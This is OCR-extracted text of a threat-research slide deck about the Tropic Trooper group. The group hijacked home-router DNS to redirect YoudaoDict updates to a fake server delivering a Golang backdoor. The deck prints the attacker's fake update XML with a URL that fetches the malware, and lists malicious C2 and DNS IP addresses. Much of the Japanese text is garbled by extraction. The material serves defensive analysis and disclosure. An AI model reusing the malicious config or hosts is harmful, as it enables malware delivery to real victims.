ITOCHU Cyber & Intelligence Inc.

The Betrayed Update:
Beyond the Signpost



WHO AMTI?

Takahiro Yamamoto

Cyber Security Architect
ITOCHU Cyber & Intelligence Inc.

ITOCHU Cyber & Intelligence Inc.



Thanks to tfeam members :)

ITOCHU Cyber & Intelligence Inc.

ITOCHU Cyber & Intelligence Inc.



01
02.
03.
04.

AGENDA

Introduction
Revealing the Mechanism
Concerns & Measures

Conclusions

ITOCHU Cyber & Intelligence Inc.



ITOCHU Cyber & Intelligence Inc.



Observations So Far

Tropic Trooper(a.k.a Pirate Panda, KeyBoy and APT23)A\F85 9 IR & RERICH 7= Y o
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2024/03 Spear Phishing
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2023/06 Abusing VSCode as a RAT
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New Attack Technique Encountered
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Backdoor
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02. Revealing the Mechanism
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Starting Point of the Investigation
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© JFHER BRI DOIEIEMEEE = - 1=,

&) YoudaoDict exe (6284)
¥ g% cmd exe (5104
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Lateral /\/lovemem‘ 7?2 - et
* USB Device ?? Sl o

g YoudaoWSH exe (3172)

* Supply Chain Attack ?? o sy

g You daoDictHelper exe (5764

\ M/.TM 22 & YoudaoDictHelper.exe (6060

v} §5% cmd exe (6864
N ' cmd exe (8564
Fake App /nSta// ’7'7 ?53 YoudaoDictHelper exe (7652
g Yo yudaoDictHelper.exe (3776
g Yo udaoDictHelper exe (7992 Backdoor.
& YoudaoDictHelper.exe (6112
s ccint.exe (5100)

@ YoudaoDictHelper exe (6184

\AppData\Local\Yodao\DeskDict\updaters\20250925212103\ccint.exe
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Strange location

- BET7TTIVOTYvIT—

Bl TLV3,

Normal Abnormality

Create Dedicated Folder

Get Uida‘rer' Get Malware i‘i E

Execute Updater Execute Malware

NOBRIZIERR T 2 7 A LNKIZTILI T PHAEBE =N,
AN ERLD T I 7AIMERORERIEEL. 7y IT— MUBEOH TEAL =08e

Timestamp

2025/05/02
08:28:57.420

2025/05/02
08:28:58.384

2025/05/02
08:29:33.242

Timeline
Events Path File/Folder

C:¥Users¥<Username>
Created ¥AppData¥Local¥Yoda | 20250502072857
o¥DeskDict¥updaters¥

Created C:¥Users¥<Username>
¥AppData¥Local¥Yoda
o¥DeskDict¥updaters¥

Executed | 20250502072857¥

ccint.exe
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Direction of

Details analysis

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created. ©

The backdoor was executed.
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Skewed Direction

. BEEARY — A —h SEESh SRR T

UEH-> Tl

C BORBR T 7AIUNTILY 2 TREROERE G o TV,

Normal Abnormality

e

Get Get

New Configuration (xml) Fake Configuration (xml)

Create Dedicated Folder

Get Uida‘rer' Get Malware i‘i E

Execute Updater Execute Malware

Timestamp

2025/05/02
08:28:57.359

2025/05/02
08:28:57.420

2025/05/02
08:28:58.384

2025/05/02
08:29:33.242

Events

Modified

Created

Created

Executed

<module=>

<name>youdao _ocr_lib.dll</name=>
<link=http://codown.youdao.com/cidian/update/
<md5>1ed4038466444365e656dd49b656cd52</md5>
<ver=120</ver=

<mode>inquiry</mode=>

<path>.</path>

<initiallog/=

</module=>

—— s

<updaterurl>http://45.32.117.177/ccint.exe</updaterurls>

</updatte

75f47ef791344d2148e2d0b63¢c867c92.xml

Timeline

Path

C:¥ProgramData¥Youd
ao¥DeskDict¥

C:¥Users¥<Username>
¥AppData¥Local¥Yoda
o¥DeskDict¥updaters¥

C:¥Users¥<Username>

¥AppData¥Local¥Yoda

o¥DeskDict¥updaters¥
20250502072857¥%
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File/Folder

75f47ef791344d2
148e2d0bb63c867¢
92.xml

20250502072857

ccint.exe

Direction of

Details analysis

Update configuration files.
This was a fake configuration ©®©
file prepared by the attacker,
which contained a link to a
fake update server.

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created.

The backdoor was executed.
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Converging Clues

Case 1
Case 2

© ST — A ORRRIEOLBREEIET 3, ;
C HFEOR—LRY NS ISERLEEEEHTRENKET H EnHEE, | o]

J

*

Normal Abnormality Timeline “ Direction of
iy Timestamp Events Path File/Folder Details analysis
Network Connection 8= K
Network Connection (g5 ific Home Router) L eTARE s - Specific Home Router ©®©
N e P : Connection
’/_— \ Update configuration files.
A : 75f47ef791344d2 = This was a fake configuration
.Ge’r _ .Ge‘r : ‘% ozg 222/275 /30529 Modified C-¥Pg§\gérbaergl?§;r§:g e 148e2d0b63c867c | file prepared by the attacker,
New Configuration (xml) Fake Configuration (xml) PRI 92 xml R ichce iaitedia link fo a
fake update server.
A folder for saving the
. 2025/05/02 C:¥Users¥<Username> updater will be created.
Create Dedicated Folder 08:28:57 420 Created | ¥AppData¥lLocal¥Yoda | 20250502072857 | This is normal behavior, and
BeG. s o¥DeskDict¥updaters¥ the folder name is determined
based on the timestamp.
2025/05/02 . The backdoor written in
Get Updater Get Malware 'ﬁ 08:28:58.384 ¥AppData¥Local¥Yoda o Golang was created.
l 2025/05/02 o¥DeskDict¥updaters¥ '
Execute Updater Execute Malware 08:29:33.242 Caeeliss 20250502072857¥% JEcsconiasiexelited:
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Taking the Next Step

Case 1
Case 2 y
BT — A DRRREOEBERZRIET 2. /
I > > —_ N 4 (& K}
FIEDR—L3Ry NT—U12EEGIL & T TIREATEET 5 EAFIEA, m/
Normal Abnormality Timeline e ‘m Direc‘rior\ of
iy Timestamp Events Path File/Folder Details analysis
. Network C ti =
Network Con&’ﬂon (Sch‘i%(iJ::q/Ho(r)::Ei)tjw?Zr*) 5 CI;J:;:/;:ISH - - Specific Home Router ©
é% . i : I_r\\'
ELUTIEE.-. N " — ogramData¥ é%ﬁﬁﬁﬁﬁ e R .
neweo  ° R T7 TVREARY —N—DOREBREZT LD peskbier 1. KA~ LIL—8 —EGEEORAROEE £ 5
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Don't Overlook the Oddities

WK DOADBRIBATHELIPT KL AMNIREN D,
O TTU =Y arbEEKIS. HBICEHASh TS LERRI AERTH 1=,
© BRIBADISETTIX” XiaoQiang” & (5 XiaomiEL—4& — IR 5 245N H - 1=,
>
|

& ,’,'-\'\\OJ
| - H

Home Router

pnsrequest (RN <t I ¢ XiaoQiang is a device manufactured by Xiaomi.
SRR _.com _'166: domain: cidian.youdao.com
DnsRequest [ - con 149.28.129.74; Address—1 5
DnsRequest -.com 149.28.129.74; Name : cidian.youdao.cnm_

address: 149.28.129.74
bnsrequest |- <o 149.28.129.74;

Resolving DNS using PowerShell for cidian.youdao.com
DnsRequest cidian.youdao.com 149.28.129.74;

Name Type TTL Section IPAddress
onsreauest R = #2519 fype TIL Section  IPAddress

cidian.youdao.com A i} Answer 149.28.129.74
onskequest |G -~ 149.28.129.74;

Name resolution script execution result

pnsrequest [N com . o . o 4 P

Name resolution log
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Investigation Home Router

R—LI—F2 —OBEE LS L, BIITL—2 -0 Z R,
EHERWTEROBRLFATEZEMEL 1=,
N

% =] .2

Home Router

Collected router
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Fake Signpost

©R—LL—2 =BT SF ¥ v ¥ aDNSH /-,

L AARRES N TL =,

>

(=

B

A—YHF

DNS Request
Destination : Home
Route IP Address

v

H

R
Home Router DNS Reguest

Destination :
121.196.245.248

DHCP

BmhEEDNS

121.196.245.248

121.196.245.248
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L TORWARSERIPT

a
>

Suspicious DNS Server
121[.]196[.]245[.]248
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Insights from Signpost

© ABEDNSY —N—(TFED FAA VISXIL TOH, BELFERDIPT FLXZIRY,

DNS Response

Update App <Legitimate IP Address>
Fe = < -
BE « :
Home Router DiliRespense
< Unusual IP Address>
|
DNS result for the dictionary app update domain Suspicious DNS Server
Trust DNS Server PS C:¥Users¥MM> Resolve-DnsName -Name cidian.youdao.com 121[]196[]245[]248
Nane Type TTIL Section NameHost
tidian.youdao.com CNAME 553  Answer dict .youdao.com
Hict .youdao.com CNAME 553  Answer cnane.dict .ntesb3.netease.con
kname.dict .ntesh3.netease.com CNAME 553  Answer oversea.dict .ntesh3.netease.com
Nane : oversea.dict.nteshbd.netease.com
%Erﬂype gUU
Bect i A ] ]
T L What is this IP
SUSPiCiOUS DNS Server PS C:¥Users¥B> Resolve-DnsName -Nane cidian.youdao.com addr'eSS???
Name Type TTL Section [PAddress
kidian.youdao.com # 0 fnswer 149.28.129.74
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Beyond the Signpost

: it@ﬂﬁm%bb BTy TT—MN—N—FFEETT) ODBOWEKT 71 L EE
ﬁbft\f:&%

T OEERHIIS, 1%0)1‘%527 ’f)l/lhnE%JZé#’Lf'}:Jd)ﬂ'X MNBEIL D R O — F=nd,

/ SRR N

Update App ﬁ
Update Request
e =
E ; ‘ H

Home Router

a

{modm-e}r:name::youdao ocr_lib.dll</name> Update Responsg SUSpiCiOUS DNS Server
r:link:=http:f?codawn.youdao.com;’cidian,’updatef BakeiContiigiile 121[.]196[.]245[.]248
<md5>1ed4038466444365e656dd49b656cd52</md5> %
<ver=120</ver= \ >
<mode>inquiry</mode> A
<path>.</path= I A
<initiallog/> Update Response F

ake Update Server
</module> Malware File
</modules> 149[.128[.1129[.174
<updaterurl3http://45.32.117.177/ccint.exe<fupdaterurl> #
</updater= > .ﬁ

Fake Config File(Repost) Malware Hosted Server
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Landscape

HBE L - SR A IR 5 & . WEE OB L AHAAOLMENREZ T 3,
B A4 B CIHEREATA S, ML THET SHAZEIEY EF T,
COXDBRTEME, BOT TS —2 3 (XL THEHASA B NN H D,

Update App ﬁ
. = <

x% # Home Router

Suspicious DNS Server

Trick to get victims to
121[.]196[.1245[.]1248

run a fake update file

Trick to hijack DNS i

A
A ‘%
Fake Update Server
— > 149[.128[.]1129[.174
- Trick to deliver malware

disguised as an update > m

Malware Hosted Server
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Attacker’s Tenacity

=7y MIXFL THHEIC, FLUIMRAFOLRBEREZHTFIT 2F A&7
& Y EEMN DRI —7 v bZIHS 2. HEICBETCFRZHRLEEL TL 5,
AOY TEMGIHTZESC b\ DRy,

2023/05 - i
2024/03 Spear Phishing

2023/06 Evil Twin Attack

2023/06 Abusing VSCode as a RAT
New

2024/03 - Abusing Up;d(a‘re Process
2025/05 Home Network Hijack
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03. Concerns & Measures
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Is That Communication Really Safe?

EIBIND XY NT—0 OEEEZINT 5 C & (XFE
DNSNA Y v v I & FRALEYLY 2 7EMAOMLHEMAE. I —H—FHITEFIEIT LY,

BEODNSOIEATlIE, BEIFERDOERMNIEL LVt DA Resolverff] THREES 2 575N
H,

IL—2 —h L =t 7=DNS; x’EEiﬁUﬁﬁ@“éiaiﬁli BEROINEE T 5 0]gEENH 5.
HEDAR—LIL—F—FEIFTEHEL, BFEWI-Fi2—7vy MY 25,

BT —RAELTIL—2—LTCEEEESL. BEBEA VT JICUAAL Y NT 5T
D7 HIESN TS,

https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-
network-devices-for-adversary-in-the-middle-attacks/
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Limits Exist — Standing Still Is Not an Option

(=N TL\BDNSOER
TILRYRIVPNOSY V8 S4AF7 0 NEIETHREBODNS =SB EH 3,

DHCPIz k> TRy TV BRI BN HIRIETH. FEEL ZDNSH —N—%BJ5=
.

N vy TiEDH BBET 0 b ILOER
/T 1) w4 DNSHIETET 5124, DNS over TLS* DNS over HTTPS(Z3&%l =8 3,

IV KRR NTOESEERH

BEIENND LY ND—0 TEEFEEZBAT D ENEHL LY,
EENICEIY RARA > Mllo{14EA (EDRE) TEEZEHIT S LT B,
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04. Conclusions
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Conclusions

EZOEREFITISEET 2O TIEAL, BEPREBEOIXICHZRIT 2 Z & TERBIGE
ZANRZTL %, cOLTELNEREBCEN, BEETAOOAVTIO VR ER
5,

WEEFK«OHEICBELC CLZBIEL TS,
H4 BNHERICFIBL TWE Y AT ARIEROMAEAN R (CZLTONRED DVEND
2.
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Thank you for your attention.



Appendix
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A. Past explanatory materials

Date

2023-09-28

2023-10-05

2023-10-06

2024-01-26

2024-08-24

Titles

Gifts from Tropical Pirates -New
Dangerous Weapons Hidden in Email
and Malware

Unveiling activities of Tropic Trooper
2023: deep analysis of Xiangoop Loader
and EntryShell payload

Sequel: Gifts from Tropical Pirates -
Who is the Sender? Look for the
Attacker Group

Dark Side of VSCode ~ How Attacker
Abuse VSCode as RAT ~

Pirates of The Nang Hai: Follow the
Artifacts No One Knows

details

Analysis of the initial vector and malware

Same as above

Same as above

Explanation of the distinctive methods used
in the breach

The evolution of malware used in attacks and
an overall picture of the methods used in
attacks

ITOCHU Cyber & Intelligence Inc.

Links

https://blog-
en.itochuci.co.jp/entry/2023/09/28/171001

https://www.virusbulletin.com/uploads/pdf/co
nference/vb2023/slides/Slides-Unveiling-
Activities-of-Tropic-Trooper.pdf

https://blog-
en.itochuci.co.jp/entry/2023/10/06/173200

https://jsac.jpcert.or.jp/archive/2024/pdf/J
SAC2024_2_3_sasada_hazuru_en.pdf

https://hitcon.org/2024/CMT/slides/Pirates
_of_The_Nang_Hai_Follow_the_Artifacts_o
f_Tropic_Trooper,_No_One_Knows.pdf
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B. ToCs obtained during the investigation

Network

IP
39[.]101[.]207[.]15
45[.132[.J117[.1177
149[.128[.]129].]74

121[.]196[.1245[.]248

Details

Malware Hosted

Malware Hosted
CobaltStrike Beacon & Backdoor C2

Malware Hosted
Fake Update Server

Malicious DNS Server

ITOCHU Cyber & Intelligence Inc.
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C. Supporting evidence

Configuration information (.xml) distributed Revoked digital certificate
from the fake update server (excerpt) used in backdoor (ccint.exe)

<?xml version="1.8" ?=>
<updater=
<version>12040</version>
<des>
<item=>
<ver=12040</ver=
<log=
<line><![CDATA[ <h2 style="margin:®
;">EHE 10.2.4.6:</h2><div style="margin:-10px -13px 0;padd |
eight:160%"><br/>- 2 E 1, {EIuFLR<br/>-AIBox{KIEF+L<br />
RAEIES ; <br/>-MAGEIREEE, ZIRFHFXRFTIRE ; </div> ]
</1line=>
</log=>
</item= TUINBERER
<itg <module> -

<name>chrome_100_percent.pak</name=>
<link=>http://codown.youdao.com/cidian/updaf
40318_152151/chrome_100_percent.pak.7z</1link>
ze:13px;">EHE 10 <md5>b79dc3d90ee6c5c447e2876ddB346c8c</md53
;line-height:160%" >4 <ver>120</ver>
<mode>inquiry</mode=>
<path>.</path=>
</ 11 <initiallog/=
<itg </module> AITLINDT IINBRIBAENERATLE.
<module=

<module=
<name=>youdao_ocr_Llib.dll</name> Jupdai
<link=http://codown.youdao.com/cidian/update/update5/202
40318 152151/youdac_ocr_1lib.d11.7z</1ink=> </md5:
<md5>1ed4038466444365e656dd49b656cd52</md5=>
<ver=120</ver=
<mode=1inql
zpath=.</|
=initiallc
</module>
</ MOUULESS
<updaterurl=http://45.32.117.177/ccint.exe</updaterurl=
</updaters= 110 A5 2021711703

%ProgramData’%¥Youdao¥DeskDict¥75f47ef791344d2148e2d0b63c867c92.xml
ITOCHU Cyber & Intelligence Inc.
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